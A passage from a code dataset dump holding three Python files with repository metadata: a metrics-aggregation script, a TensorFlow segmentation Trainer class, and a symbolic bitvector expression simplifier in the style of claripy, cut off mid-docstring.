aggres_dict_auprout[fullpath].append(float(line.split(':')[-1].strip()))\n\nprint(aggres_dict_auroc)\nprint()\nprint()\nprint(aggres_dict_auprin)\nprint()\nprint()\nprint(aggres_dict_auprout)\nprint()\nprint()\n\nwith open('auroc_results.txt', 'a') as f:\n    for key, value in aggres_dict_auroc.items():\n        f.write(key + ' ' + str(round(mean(value), 1)) + ' $\\pm$ ' + str(round(stdev(value), 1)) + '\\n\\n')\n\nwith open('auprin_results.txt', 'a') as f:\n    for key, value in aggres_dict_auprin.items():\n        f.write(key + ' ' + str(round(mean(value), 1)) + ' $\\pm$ ' + str(round(stdev(value), 1)) + '\\n\\n')\n\nwith open('auprout_results.txt', 'a') as f:\n    for key, value in aggres_dict_auprout.items():\n        f.write(key + ' ' + str(round(mean(value), 1)) + ' $\\pm$ ' + str(round(stdev(value), 1)) + '\\n\\n')\n", "repo_name": "mateibejan1/ad-nlp", "sub_path": "aggregate_means_std.py", "file_name": "aggregate_means_std.py", "file_ext": "py", "file_size_in_byte": 4897, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "glob.glob", "line_number": 59, "usage_type": "call"}, {"api_name": "glob.glob", "line_number": 70, "usage_type": "call"}, {"api_name": "statistics.mean", "line_number": 99, "usage_type": "call"}, {"api_name": "statistics.stdev", "line_number": 99, "usage_type": "call"}, {"api_name": "statistics.mean", "line_number": 103, "usage_type": "call"}, {"api_name": "statistics.stdev", "line_number": 103, "usage_type": "call"}, {"api_name": "statistics.mean", "line_number": 107, "usage_type": "call"}, {"api_name": "statistics.stdev", "line_number": 107, "usage_type": "call"}]}
{"seq_id": "3560685046", "text": "import math\nimport os\nfrom glob import glob\nfrom datetime import datetime\nimport tensorflow as tf\nimport tensorflow_addons as tfa\nfrom tensorflow.keras.callbacks import LearningRateScheduler, ModelCheckpoint\nfrom DisplayCallback import DisplayCallback  # The display callback for visualization\n\nclass Trainer:\n    def __init__(self, model, data_loader, dataset, batch_size=4, learning_rate=1e-3, weight_decay=2e-5, epochs=500):\n        self.model = model\n\n        self.data_loader = data_loader\n        self.dataset = dataset\n        self.batch_size = batch_size\n        self.learning_rate = learning_rate\n        self.weight_decay = weight_decay\n        self.epochs = epochs\n        self.optimizer = self._get_optimizer()\n        self.callbacks = self._init_callbacks()\n        self.train_accs = []\n        self.val_accs = []\n        self.train_losses = []\n        self.val_losses = []\n        \n    def _get_optimizer(self):\n        return tfa.optimizers.AdamW(learning_rate=self.learning_rate, weight_decay=self.weight_decay)\n\n    def _init_callbacks(self):\n        \n        checkpoint_dir = \"checkpoints/\"\n        if not os.path.exists(checkpoint_dir):\n            os.makedirs(checkpoint_dir)\n        \n        current_time = datetime.now().strftime('%Y%m%d_%H%M%S')\n        checkpoint_filepath = os.path.join(checkpoint_dir, f\"weights_{current_time}.h5\")\n\n        # ModelCheckpoint callback\n        checkpoint_callback = ModelCheckpoint(\n            filepath=checkpoint_filepath,\n            save_weights_only=True,\n            monitor='val_accuracy',\n            mode='max',\n            save_best_only=True,\n            verbose=1\n        )\n\n        for image, mask in self.dataset['train'].skip(1).take(1):\n            sample_image, sample_mask = image, mask\n \n        lrate_scheduler = LearningRateScheduler(self._step_decay)\n\n        class_names = self.data_loader.class_names\n        color_dict = self.data_loader.color_dict\n        \n        display_callback = DisplayCallback(self.model, sample_image, sample_mask, class_names, color_dict)\n        return [checkpoint_callback, lrate_scheduler, display_callback]\n\n    def _step_decay(self, epoch):\n        initial_lrate = self.learning_rate\n        drop = 0.5\n        epochs_drop = 10.0  # decrease lr every 10 epochs\n        lrate = initial_lrate * math.pow(drop, math.floor((1+epoch)/epochs_drop))\n        return lrate\n\n    def train(self): \n        loss = tf.keras.losses.SparseCategoricalCrossentropy(from_logits=True)\n        self.model.compile(optimizer=self.optimizer, loss=loss, metrics=['accuracy'])\n\n       \n        all_h5_files = glob('checkpoints/*.h5')\n        if all_h5_files:\n            latest_h5_file = max(all_h5_files, key=os.path.getctime)\n            print(\"Loading weights from:\", latest_h5_file)\n            self.model.load_weights(latest_h5_file)\n\n        \n        steps_per_epoch = len(self.dataset['train']) // self.batch_size \n        validation_steps = len(self.dataset['val']) // self.batch_size\n\n        print(self.dataset)\n        \n        return self.model.fit(\n            self.dataset['train'], \n            epochs=self.epochs,\n            steps_per_epoch=steps_per_epoch,\n            validation_steps=validation_steps,\n            validation_data=self.dataset['val'], \n            callbacks=self.callbacks\n        )\n\n     \n    ", "repo_name": "SeanBaek111/Sky_Seg_Trainer", "sub_path": "Trainer.py", "file_name": "Trainer.py", "file_ext": "py", "file_size_in_byte": 3319, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "tensorflow_addons.optimizers.AdamW", "line_number": 28, "usage_type": "call"}, {"api_name": "tensorflow_addons.optimizers", "line_number": 28, "usage_type": "attribute"}, {"api_name": "os.path.exists", "line_number": 33, "usage_type": "call"}, {"api_name": "os.path", "line_number": 33, "usage_type": "attribute"}, {"api_name": "os.makedirs", "line_number": 34, "usage_type": "call"}, {"api_name": "datetime.datetime.now", "line_number": 36, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 36, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 37, "usage_type": "call"}, {"api_name": "os.path", "line_number": 37, "usage_type": "attribute"}, {"api_name": "tensorflow.keras.callbacks.ModelCheckpoint", "line_number": 40, "usage_type": "call"}, {"api_name": "tensorflow.keras.callbacks.LearningRateScheduler", "line_number": 52, "usage_type": "call"}, {"api_name": "DisplayCallback.DisplayCallback", "line_number": 57, "usage_type": "call"}, {"api_name": "math.pow", "line_number": 64, "usage_type": "call"}, {"api_name": "math.floor", "line_number": 64, "usage_type": "call"}, {"api_name": "tensorflow.keras.losses.SparseCategoricalCrossentropy", "line_number": 68, "usage_type": "call"}, {"api_name": "tensorflow.keras", "line_number": 68, "usage_type": "attribute"}, {"api_name": "glob.glob", "line_number": 72, "usage_type": "call"}, {"api_name": "os.path", "line_number": 74, "usage_type": "attribute"}]}
{"seq_id": "28442851678", "text": "import collections\nimport itertools\nimport operator\n\nfrom functools import reduce\n\n\nclass SimplificationManager:\n    def __init__(self):\n        self._simplifiers = {\n            'Reverse': self.bv_reverse_simplifier,\n            'And': self.boolean_and_simplifier,\n            'Or': self.boolean_or_simplifier,\n            'Not': self.boolean_not_simplifier,\n            'Extract': self.extract_simplifier,\n            'Concat': self.concat_simplifier,\n            'If': self.if_simplifier,\n            '__lshift__': self.lshift_simplifier,\n            '__rshift__': self.rshift_simplifier,\n            'LShR': self.lshr_simplifier,\n            '__eq__': self.eq_simplifier,\n            '__ne__': self.ne_simplifier,\n            '__or__': self.bitwise_or_simplifier,\n            '__and__': self.bitwise_and_simplifier,\n            '__xor__': self.bitwise_xor_simplifier,\n            '__add__': self.bitwise_add_simplifier,\n            '__sub__': self.bitwise_sub_simplifier,\n            '__mul__': self.bitwise_mul_simplifier,\n            'ZeroExt': self.zeroext_simplifier,\n            'SignExt': self.signext_simplifier,\n            'fpToIEEEBV': self.fptobv_simplifier,\n            'fpToFP': self.fptofp_simplifier,\n            'StrExtract': self.str_extract_simplifier,\n            'StrReverse': self.str_reverse_simplifier,\n        }\n\n    def simplify(self, op, args):\n        if op not in self._simplifiers:\n            return None\n        return self._simplifiers[op](*args)\n\n    @staticmethod\n    def _deduplicate_filter(args):\n        seen = set()\n        new_args = []\n        for arg in args:\n            key = arg.cache_key\n            if key in seen:\n                continue\n            seen.add(key)\n            new_args.append(arg)\n        return new_args\n\n    #\n    # The simplifiers.\n    #\n\n    #pylint:disable=inconsistent-return-statements\n\n    @staticmethod\n    def if_simplifier(cond, if_true, if_false):\n        # NOTE: this is never called; simplifications are implemented inline in the If op. why?\n        if cond.is_true():\n            return if_true\n\n        if cond.is_false():\n            return if_false\n\n    @staticmethod\n    def concat_simplifier(*args):\n\n        if len(args) == 1:\n            return args[0]\n\n        orig_args = args\n        args = list(args)\n        #length = sum(arg.length for arg in args)\n        simplified = False\n\n        if any(a.symbolic for a in args):\n            i = 1\n            # here, we concatenate any consecutive concrete terms\n            while i < len(args):\n                previous = args[i-1]\n                current = args[i]\n\n                if not (previous.symbolic or current.symbolic) and backends.concrete.handles(previous) and backends.concrete.handles(current):\n                    concatted = ast.all_operations.Concat(previous, current)\n                    # If the concrete arguments to concat have non-relocatable annotations attached,\n                    # we may not be able to simplify the concrete concat. This check makes sure we don't\n                    # create a nested concat in that case.\n                    #\n                    # This is necessary to ensure that simplified is set correctly. If we don't check this here,\n                    # later the concat-of-concat will eliminate the newly introduced concat again, meaning we end\n                    # up with the same args that we started with. But because we only eliminate the concat later,\n                    # the simplified variable would still be set to True after this loop which is wrong.\n                    if concatted.op != \"Concat\":\n                        args[i-1:i+1] = (concatted,)\n                        continue\n\n                i += 1\n\n            if len(args) < len(orig_args):\n                simplified = True\n\n        # here, we flatten any concats among the arguments and remove zero-length arguments\n        i = 0\n        while i < len(args):\n            current = args[i]\n            if current.length == 0:\n                args.pop(i)\n                simplified = True\n            elif current.op == 'Concat':\n                simplified = True\n                args[i:i+1] = current.args\n                i += len(current.args)\n            else:\n                i += 1\n\n        # here, we consolidate any consecutive concats on extracts from the same variable\n        i = 0\n        prev_var = None\n        prev_left = None\n        prev_right = None\n        while i < len(args):\n            if args[i].op != 'Extract':\n                prev_var = None\n                prev_left = None\n                prev_right = None\n                i += 1\n            elif prev_var is args[i].args[2] and prev_right == args[i].args[0] + 1:\n                prev_right = args[i].args[1]\n                args[i-1:i+1] = [ ast.all_operations.Extract(prev_left, prev_right, prev_var) ]\n                simplified = True\n            else:\n                prev_left = args[i].args[0]\n                prev_right = args[i].args[1]\n                prev_var = args[i].args[2]\n                i += 1\n\n        # if any(a.op == 'Reverse' for a in args):\n        #\t  simplified = True\n        #\t  args = [a.reversed for a in args]\n\n        if simplified:\n            return ast.all_operations.Concat(*args)\n\n        return\n\n    @staticmethod\n    def rshift_simplifier(val, shift):\n        if (shift == 0).is_true():\n            return val\n        if val.op == \"Concat\" and (val.args[0] == 0).is_true() and (shift > val.size() - val.args[0].size()).is_true():\n            return ast.all_operations.BVV(0, val.size())\n        if val.op == \"ZeroExt\" and (shift > val.size() - val.args[0]).is_true():\n            return ast.all_operations.BVV(0, val.size())\n\n    @staticmethod\n    def lshr_simplifier(val, shift):\n        if (shift == 0).is_true():\n            return val\n        if val.op == \"Concat\" and (val.args[0] == 0).is_true() and (shift > val.size() - val.args[0].size()).is_true():\n            return ast.all_operations.BVV(0, val.size())\n        if val.op == \"ZeroExt\" and (shift > val.size() - val.args[0]).is_true():\n            return ast.all_operations.BVV(0, val.size())\n\n    @staticmethod\n    def lshift_simplifier(val, shift):\n        if (shift == 0).is_true():\n            return val\n\n    @staticmethod\n    def eq_simplifier(a, b):\n        if a is b:\n            return ast.true\n\n        if isinstance(a, ast.Bool) and b is ast.true:\n            return a\n        if isinstance(b, ast.Bool) and a is ast.true:\n            return b\n        if isinstance(a, ast.Bool) and b is ast.false:\n            return ast.all_operations.Not(a)\n        if isinstance(b, ast.Bool) and a is ast.false:\n            return ast.all_operations.Not(b)\n\n        if a.op == 'Reverse' and b.op == 'Reverse':\n            return a.args[0] == b.args[0]\n\n        # simple canonicalization\n        if a.op == 'BVV' and b.op != 'BVV':\n            return b == a\n\n        # TODO: all these ==/!= might really slow things down...\n        if a.op == 'If':\n            if a.args[1] is b and ast.all_operations.is_true(a.args[2] != b):\n                # (If(c, x, y) == x, x != y) -> c\n                return a.args[0]\n            elif a.args[2] is b and ast.all_operations.is_true(a.args[1] != b):\n                # (If(c, x, y) == y, x != y) -> !c\n                return ast.all_operations.Not(a.args[0])\n            # elif a._claripy.is_true(a.args[1] == b) and a._claripy.is_true(a.args[2] == b):\n            #\t  return a._claripy.true\n            # elif a._claripy.is_true(a.args[1] != b) and a._claripy.is_true(a.args[2] != b):\n            #\t  return a._claripy.false\n\n        if b.op == 'If':\n            if b.args[1] is a and ast.all_operations.is_true(b.args[2] != b):\n                # (x == If(c, x, y)) -> c\n                return b.args[0]\n            elif b.args[2] is a and ast.all_operations.is_true(b.args[1] != a):\n                # (y == If(c, x, y)) -> !c\n                return ast.all_operations.Not(b.args[0])\n            # elif b._claripy.is_true(b.args[1] == a) and b._claripy.is_true(b.args[2] == a):\n            #\t  return b._claripy.true\n            # elif b._claripy.is_true(b.args[1] != a) and b._claripy.is_true(b.args[2] != a):\n            #\t  return b._claripy.false\n\n        if (a.op in SIMPLE_OPS or b.op in SIMPLE_OPS) and a.length > 1 and a.length == b.length:\n            for i in range(a.length):\n                a_bit = a[i:i]\n                if a_bit.symbolic:\n                    break\n\n                b_bit = b[i:i]\n                if b_bit.symbolic:\n                    break\n\n                if ast.all_operations.is_false(a_bit == b_bit):\n                    return ast.all_operations.false\n\n    @staticmethod\n    def ne_simplifier(a, b):\n        if a is b:\n            return ast.false\n\n        if a.op == 'Reverse' and b.op == 'Reverse':\n            return a.args[0] != b.args[0]\n\n        if a.op == 'If':\n            if a.args[2] is b and ast.all_operations.is_true(a.args[1] != b):\n                # (If(c, x, y) == x, x != y) -> c\n                return a.args[0]\n            elif a.args[1] is b and ast.all_operations.is_true(a.args[2] != b):\n                # (If(c, x, y) == y, x != y) -> !c\n                return ast.all_operations.Not(a.args[0])\n            # elif a._claripy.is_true(a.args[1] == b) and a._claripy.is_true(a.args[2] == b):\n            #\t  return a._claripy.false\n            # elif a._claripy.is_true(a.args[1] != b) and a._claripy.is_true(a.args[2] != b):\n            #\t  return a._claripy.true\n\n        if b.op == 'If':\n            if b.args[2] is a and ast.all_operations.is_true(b.args[1] != a):\n                # (x == If(c, x, y)) -> c\n                return b.args[0]\n            elif b.args[1] is a and ast.all_operations.is_true(b.args[2] != a):\n                # (y == If(c, x, y)) -> !c\n                return ast.all_operations.Not(b.args[0])\n            # elif b._claripy.is_true(b.args[1] != a) and b._claripy.is_true(b.args[2] != a):\n            #\t  return b._claripy.true\n            # elif b._claripy.is_true(b.args[1] == a) and b._claripy.is_true(b.args[2] == a):\n            #\t  return b._claripy.false\n\n        if (a.op == SIMPLE_OPS or b.op in SIMPLE_OPS) and a.length > 1 and a.length == b.length:\n            for i in range(a.length):\n                a_bit = a[i:i]\n                if a_bit.symbolic:\n                    break\n\n                b_bit = b[i:i]\n                if b_bit.symbolic:\n                    break\n\n                if ast.all_operations.is_true(a_bit != b_bit):\n                    return ast.all_operations.true\n\n    @staticmethod\n    def bv_reverse_simplifier(body):\n        if body.op == 'Reverse':\n            # Reverse(Reverse(x)) ==> x\n            return body.args[0]\n\n        if body.length == 8:\n            # Reverse(byte) ==> byte\n            return body\n\n        if body.op == 'Concat':\n            if all(a.op == 'Extract' for a in body.args):\n                first_ast = body.args[0].args[2]\n                for i,a in enumerate(body.args):\n                    if not (first_ast is a.args[2]\n                            and a.args[0] == ((i + 1) * 8 - 1)\n                            and a.args[1] == i * 8):\n                        break\n                else:\n                    upper_bound = body.args[-1].args[0]\n                    if first_ast.length == upper_bound + 1:\n                        return first_ast\n                    else:\n                        return first_ast[upper_bound:0]\n            if all(a.length == 8 for a in body.args):\n                return body.make_like(body.op, body.args[::-1], simplify=True)\n\n        if body.op == 'Concat':\n            if all(a.op == 'Reverse' for a in body.args):\n                if all(a.length % 8 == 0 for a in body.args):\n                    return body.make_like(body.op, [a.args[0] for a in reversed(body.args)], simplify=True)\n\n        if body.op == 'Extract' and body.args[2].op == 'Reverse':\n            # Reverse(Extract(hi, lo, Reverse(x))) ==> Extract(bits-lo-1, bits-hi-1, x)\n            # Holds only when (hi+1) and lo are multiples of 8 (or, multiples of bits_per_byte if we really want to\n            # suppport cLEMENCy)\n            hi, lo = body.args[0:2]\n            if (hi + 1) % 8 == 0 and lo % 8 == 0:\n                x = body.args[2].args[0]\n                new_hi = x.size() - lo - 1\n                new_lo = x.size() - hi - 1\n                return body.make_like(body.op, (new_hi, new_lo, x), simplify=True)\n\n    @staticmethod\n    def boolean_and_simplifier(*args):\n        if len(args) == 1:\n            return args[0]\n\n        new_args = [None] * len(args)\n        ctr = 0\n        for a in args:\n            if a.op == 'BoolV':\n                if a.is_false():\n                    return ast.all_operations.false\n            else:\n                new_args[ctr] = a\n                ctr += 1\n        new_args = new_args[:ctr]\n\n        if not new_args:\n            return ast.true\n\n        if len(new_args) < len(args):\n            return ast.all_operations.And(*new_args)\n\n        flattened = SimplificationManager._flatten_simplifier('And', SimplificationManager._deduplicate_filter, *args)\n        fargs = flattened.args if flattened is not None else args\n\n        # Check if we are left with one argument again\n        if len(fargs) == 1:\n            return fargs[0]\n\n        if any(len(arg.args) != 2 for arg in fargs):\n            return flattened\n\n        target_var = None\n\n        # Determine the unknown variable\n        if fargs[0].args[0].symbolic:\n            if fargs[0].args[0] is fargs[1].args[0]:\n                target_var = fargs[0].args[0]\n            elif fargs[0].args[0] is fargs[1].args[1]:\n                target_var = fargs[0].args[0]\n        elif fargs[0].args[1].symbolic:\n            if fargs[0].args[1] is fargs[1].args[0]:\n                target_var = fargs[0].args[1]\n            elif fargs[0].args[1] is fargs[1].args[1]:\n                target_var = fargs[0].args[1]\n\n        if target_var is None:\n            return flattened\n\n        # we now know that the And is a series of binary conditions over a single variable.\n        # we can optimize accordingly.\n        # right now it's just check for eq/ne\n\n        eq_list = []\n        ne_list = []\n        for arg in fargs:\n            other = arg.args[1] if arg.args[0] is target_var else arg.args[0] if arg.args[1] is target_var else None\n            if other is None:\n                return flattened\n            if arg.op == '__eq__':\n                eq_list.append(other)\n            elif arg.op == '__ne__':\n                ne_list.append(other)\n            else:\n                return flattened\n\n        if not eq_list:\n            return flattened\n        if any(any(ne is eq for eq in eq_list) for ne in ne_list):\n            return ast.all_operations.false\n        if all(v.op == 'BVV' for v in eq_list) and all(v.op == 'BVV' for v in ne_list):\n            mustbe = eq_list[0]\n            if any(eq.args[0] != mustbe.args[0] for eq in eq_list):\n                return ast.all_operations.false\n            return target_var == eq_list[0]\n        return flattened\n\n    @staticmethod\n    def boolean_or_simplifier(*args):\n        if len(args) == 1:\n            return args[0]\n\n        new_args = []\n        for a in args:\n            if a.is_true():\n                return ast.all_operations.true\n            elif not a.is_false():\n                new_args.append(a)\n\n        if not new_args:\n            return ast.false\n        if len(new_args) < len(args):\n            return ast.all_operations.Or(*new_args)\n\n        return SimplificationManager._flatten_simplifier('Or', SimplificationManager._deduplicate_filter, *args)\n\n    @staticmethod\n    def _flatten_simplifier(op_name, filter_func, *args, **kwargs):\n        # we cannot further flatten if any top-level argument has non-relocatable annotations\n        if any(not anno.relocatable for anno in itertools.chain.from_iterable(arg.annotations for arg in args)):\n            return\n\n        new_args = tuple(itertools.chain.from_iterable(\n            (a.args if isinstance(a, ast.Base) and a.op == op_name else (a,)) for a in args\n        ))\n\n        # try to collapse multiple concrete args\n        value_args = []\n        other_args = []\n        for arg in new_args:\n            if getattr(arg, 'op', None) == 'BVV':\n                value_args.append(arg)\n            else:\n                other_args.append(arg)\n        if other_args and len(value_args) > 1:\n            value_arg = value_args[0].make_like(op_name, tuple(value_args), simplify=False)\n            new_args = tuple(other_args) + (value_arg,)\n\n        variables = frozenset(itertools.chain.from_iterable(a.variables for a in args if isinstance(a, ast.Base)))\n        if filter_func: new_args = filter_func(new_args)\n        if not new_args and 'initial_value' in kwargs:\n            return kwargs['initial_value']\n        return next(a for a in args if isinstance(a, ast.Base)).make_like(op_name, new_args,\n                                                                          variables=variables,\n                                                                          simplify=False)\n\n    @staticmethod\n    def bitwise_add_simplifier(*args):\n        if len(args) == 2 and args[1].op == 'BVV' and args[0].op == '__sub__' and args[0].args[1].op == 'BVV':\n            # flatten add over sub\n            # (x - y) + z ==> x - (y - z)\n            return args[0].args[0] - (args[0].args[1] - args[1])\n        return SimplificationManager._flatten_simplifier('__add__', lambda new_args: tuple(a for a in new_args if a.op != 'BVV' or a.args[0] != 0), *args, initial_value=ast.all_operations.BVV(0, len(args[0])))\n\n    @staticmethod\n    def bitwise_mul_simplifier(*args):\n        return SimplificationManager._flatten_simplifier('__mul__', None, *args)\n\n    @staticmethod\n    def bitwise_sub_simplifier(a, b):\n        if b.op == 'BVV':\n            # many optimizations if b is concrete - effectively flattening\n            if b.args[0] == 0:\n                return a\n            elif a.op == '__sub__' and a.args[1].op == 'BVV':\n                # flatten right-heavy trees\n                # (x - y) - z ==> x - (y + z)\n                return a.args[0] - (a.args[1] + b)\n            elif a.op == '__add__' and a.args[-1].op == 'BVV':\n                # flatten sub over add\n                # (x + y) - z ==> x + (y - z)\n                if len(a.args) == 2:\n                    return a.args[0] + (a.args[-1] - b)\n                else:\n                    return a.swap_args(a.args[:-1] + (a.args[-1] - b,))\n        elif a is b or (a == b).is_true():\n            return ast.all_operations.BVV(0, a.size())\n        return None\n\n    # recognize b-bit z=signedmax(q,r) from this idiom:\n    # s=q-r;t=q^r;u=s^q;v=u&t;w=v^s;x=rshift(w,b-1);y=x&t;z=q^y\n    # and recognize b-bit z=signedmin(q,r) from this idiom:\n    # s=r-q;t=q^r;u=s^r;v=u&t;w=v^s;x=rshift(w,b-1);y=x&t;z=q^y\n    @staticmethod\n    def bitwise_xor_simplifier_minmax(a,b):\n        q,y = a,b\n        if y.op != '__and__':\n            q,y = b,a\n            if y.op != '__and__': return\n\n        if len(y.args) != 2: return\n        x,t = y.args\n        if t.op != '__xor__':\n            t,x = y.args\n            if t.op != '__xor__': return\n\n        if x.op != '__rshift__': return\n        w,dist = x.args\n\n        bits = a.size()\n        if dist is not ast.all_operations.BVV(bits - 1,bits): return\n        if w.op != '__xor__': return\n\n        if len(w.args) != 2: return\n        v,s = w.args\n        if s.op != '__sub__':\n            s,v = w.args\n            if s.op != '__sub__': return\n\n        if v.op != '__and__': return\n        if len(v.args) != 2: return\n        u,t2 = v.args\n        if t2 is not t:\n            t2,u = v.args\n            if t2 is not t: return\n\n        if u.op != '__xor__': return\n\n        if len(t.args) != 2: return\n        q2,r = t.args\n        if q2 is not q:\n            r,q2 = t.args\n            if q2 is not q: return\n\n        if (u.args[0] is s and u.args[1] is q) or (u.args[0] is q and u.args[1] is s):\n            if not (s.args[0] is q and s.args[1] is r): return\n            cond = ast.all_operations.SLE(q,r)\n            return ast.all_operations.If(cond,r,q)\n\n        if (u.args[0] is s and u.args[1] is r) or (u.args[0] is r and u.args[1] is s):\n            if not (s.args[0] is r and s.args[1] is q): return\n            cond = ast.all_operations.SLE(q,r)\n            return ast.all_operations.If(cond,q,r)\n\n    @staticmethod\n    def bitwise_xor_simplifier(a, b, *args):\n        if not args:\n            if a is ast.all_operations.BVV(0, a.size()):\n                return b\n            elif b is ast.all_operations.BVV(0, a.size()):\n                return a\n            elif a is b or (a == b).is_true():\n                return ast.all_operations.BVV(0, a.size())\n\n            result = SimplificationManager.bitwise_xor_simplifier_minmax(a,b)\n            if result is not None: return result\n\n        def _flattening_filter(args):\n            # since a ^ a == 0, we can safely remove those from args\n            # this procedure is done carefully in order to keep the ordering of arguments\n            ctr = collections.Counter(arg.cache_key for arg in args)\n            res = []\n            seen = set()\n            for arg in args:\n                if ctr[arg.cache_key] % 2 == 0:\n                    continue\n                l1 = len(seen)\n                seen.add(arg.cache_key)\n                l2 = len(seen)\n                if l1 != l2:\n                    res.append(arg)\n            return tuple(res)\n\n        return SimplificationManager._flatten_simplifier('__xor__', _flattening_filter, a, b, *args, initial_value=ast.all_operations.BVV(0, a.size()))\n\n    @staticmethod\n    def bitwise_or_simplifier(a, b, *args):\n        if not args:\n            if a is ast.all_operations.BVV(0, a.size()):\n                return b\n            elif b is ast.all_operations.BVV(0, a.size()):\n                return a\n            elif (a == b).is_true():\n                return a\n            elif a is b:\n                return a\n\n        return SimplificationManager._flatten_simplifier('__or__', SimplificationManager._deduplicate_filter, a, b, *args)\n\n    @staticmethod\n    def bitwise_and_simplifier(a, b, *args):\n        if not args:\n            # try to perform a rotate-shift-mask simplification\n            r = SimplificationManager.rotate_shift_mask_simplifier(a, b)\n            if r is not None:\n                return r\n\n            if (a == 2**a.size()-1).is_true():\n                return b\n            elif (b == 2**a.size()-1).is_true():\n                return a\n            elif (a == b).is_true():\n                return a\n            elif a is b:\n                return a\n            elif a.op == \"Concat\" and len(a.args) == 2:\n                # maybe we can drop the second argument\n                if (b == 2 ** (a.size() - a.args[0].size()) - 1).is_true():\n                    # yes!\n                    return ast.all_operations.ZeroExt(a.args[0].size(), a.args[1])\n\n        return SimplificationManager._flatten_simplifier('__and__', SimplificationManager._deduplicate_filter, a, b, *args)\n\n    @staticmethod\n    def boolean_not_simplifier(body):\n        if body.op == '__eq__':\n            return body.args[0] != body.args[1]\n        elif body.op == '__ne__':\n            return body.args[0] == body.args[1]\n\n        if body.op == 'Not':\n            return body.args[0]\n\n        if body.op == 'SLT':\n            return ast.all_operations.SGE(body.args[0], body.args[1])\n        elif body.op == 'SLE':\n            return ast.all_operations.SGT(body.args[0], body.args[1])\n        elif body.op == 'SGT':\n            return ast.all_operations.SLE(body.args[0], body.args[1])\n        elif body.op == 'SGE':\n            return ast.all_operations.SLT(body.args[0], body.args[1])\n\n        if body.op == 'ULT':\n            return ast.all_operations.UGE(body.args[0], body.args[1])\n        elif body.op == 'ULE':\n            return ast.all_operations.UGT(body.args[0], body.args[1])\n        elif body.op == 'UGT':\n            return ast.all_operations.ULE(body.args[0], body.args[1])\n        elif body.op == 'UGE':\n            return ast.all_operations.ULT(body.args[0], body.args[1])\n\n        if body.op == '__lt__':\n            return ast.all_operations.UGE(body.args[0], body.args[1])\n        elif body.op == '__le__':\n            return ast.all_operations.UGT(body.args[0], body.args[1])\n        elif body.op == '__gt__':\n            return ast.all_operations.ULE(body.args[0], body.args[1])\n        elif body.op == '__ge__':\n            return ast.all_operations.ULT(body.args[0], body.args[1])\n\n    @staticmethod\n    def zeroext_simplifier(n, e):\n        if n == 0:\n            return e\n\n        if e.op == 'ZeroExt':\n            # ZeroExt(A, ZeroExt(B, x)) ==> ZeroExt(A + B, x)\n            return e.make_like(e.op, (n + e.args[0], e.args[1]), length=n + e.size(), simplify=True)\n\n    @staticmethod\n    def signext_simplifier(n, e):\n        if n == 0:\n            return e\n\n        # TODO: if top bit is 0, do a zero-extend instead\n\n    @staticmethod\n    def extract_simplifier(high, low, val):\n        # if we're extracting the whole value, return the value\n        if high - low + 1 == val.size():\n            return val\n\n        if (val.op == 'SignExt' or val.op == 'ZeroExt') and low == 0 and high + 1 == val.args[1].size():\n            return val.args[1]\n\n        if val.op == 'ZeroExt':\n            extending_bits = val.args[0]\n            if extending_bits == 0:\n                val = val.args[1]\n            else:\n                val = ast.all_operations.Concat(ast.all_operations.BVV(0, extending_bits), val.args[1])\n\n        # Reverse(concat(a, b)) -> concat(Reverse(b), Reverse(a))\n        # a and b must have lengths that are a multiple of 8\n        if val.op == 'Reverse' and val.args[0].op == 'Concat' and all(a.length % 8 == 0 for a in val.args[0].args):\n            val = ast.all_operations.Concat(*reversed([a.reversed for a in val.args[0].args]))\n\n        # Reading one byte from a reversed ast can be converted to reading the corresponding byte from the original ast\n        # No Reverse is required then\n        if val.op == 'Reverse' and high - low + 1 == 8 and low % 8 == 0:\n            byte_pos = low // 8\n            new_byte_pos = val.length // 8 - byte_pos - 1\n\n            val = val.args[0]\n            high = (new_byte_pos + 1) * 8 - 1\n            low = new_byte_pos * 8\n\n            return ast.all_operations.Extract(high, low, val)\n\n        if val.op == 'Concat':\n            pos = val.length\n            high_i, low_i, low_loc = None, None, None\n            for i, v in enumerate(val.args):\n                if pos - v.length <= high < pos:\n                    high_i = i\n                if pos - v.length <= low < pos:\n                    low_i = i\n                    low_loc = low - (pos - v.length)\n                pos -= v.length\n\n            used = val.args[high_i:low_i+1]\n            if len(used) == 1:\n                self = used[0]\n            else:\n                self = ast.all_operations.Concat(*used)\n\n            new_high = low_loc + high - low\n            if new_high == self.length - 1 and low_loc == 0:\n                return self\n            else:\n                if self.op != 'Concat':\n                    return self[new_high:low_loc]\n                else:\n                    # to avoid infinite recursion we only return if something was simplified\n                    if len(used) != len(val.args) or new_high != high or low_loc != low:\n                        return ast.all_operations.Extract(new_high, low_loc, self)\n\n        if val.op == 'Extract':\n            _, inner_low = val.args[:2]\n            new_low = inner_low + low\n            new_high = new_low + (high - low)\n            return (val.args[2])[new_high:new_low]\n\n        if val.op == 'Reverse' and val.args[0].op == 'Concat' and all(a.length % 8 == 0 for a in val.args[0].args):\n            val = val.make_like('Concat',\n                                tuple(reversed([a.reversed for a in val.args[0].args])),\n                                simplify=True,\n            )[high:low]\n            if not val.symbolic:\n                return val\n\n        # if all else fails, convert Extract(Reverse(...)) to Reverse(Extract(...))\n        # if val.op == 'Reverse' and (high + 1) % 8 == 0 and low % 8 == 0:\n        #\t  print(\"saw reverse, converting\")\n        #\t  inner_length = val.args[0].length\n        #\t  try:\n        #\t\t  return val.args[0][(inner_length - 1 - low):(inner_length - 1 - low - (high - low))].reversed\n        #\t  except ClaripyOperationError:\n        #\t\t  __import__('ipdb').set_trace()\n\n        if val.op in extract_distributable:\n            all_args = tuple(a[high:low] for a in val.args)\n            return reduce(getattr(operator, val.op), all_args)\n\n    # oh gods\n    @staticmethod\n    def fptobv_simplifier(the_fp):\n        if the_fp.op == 'fpToFP' and len(the_fp.args) == 2:\n            return the_fp.args[0]\n\n    @staticmethod\n    def fptofp_simplifier(*args):\n        if len(args) == 2 and args[0].op == 'fpToIEEEBV':\n            to_bv, sort = args\n            if sort == fp.FSORT_FLOAT and to_bv.length == 32:\n                return to_bv.args[0]\n            elif sort == fp.FSORT_DOUBLE and to_bv.length == 64:\n                return to_bv.args[0]\n\n    @staticmethod\n    def rotate_shift_mask_simplifier(a, b):\n        \"\"\"\n        Handles the following case:\n            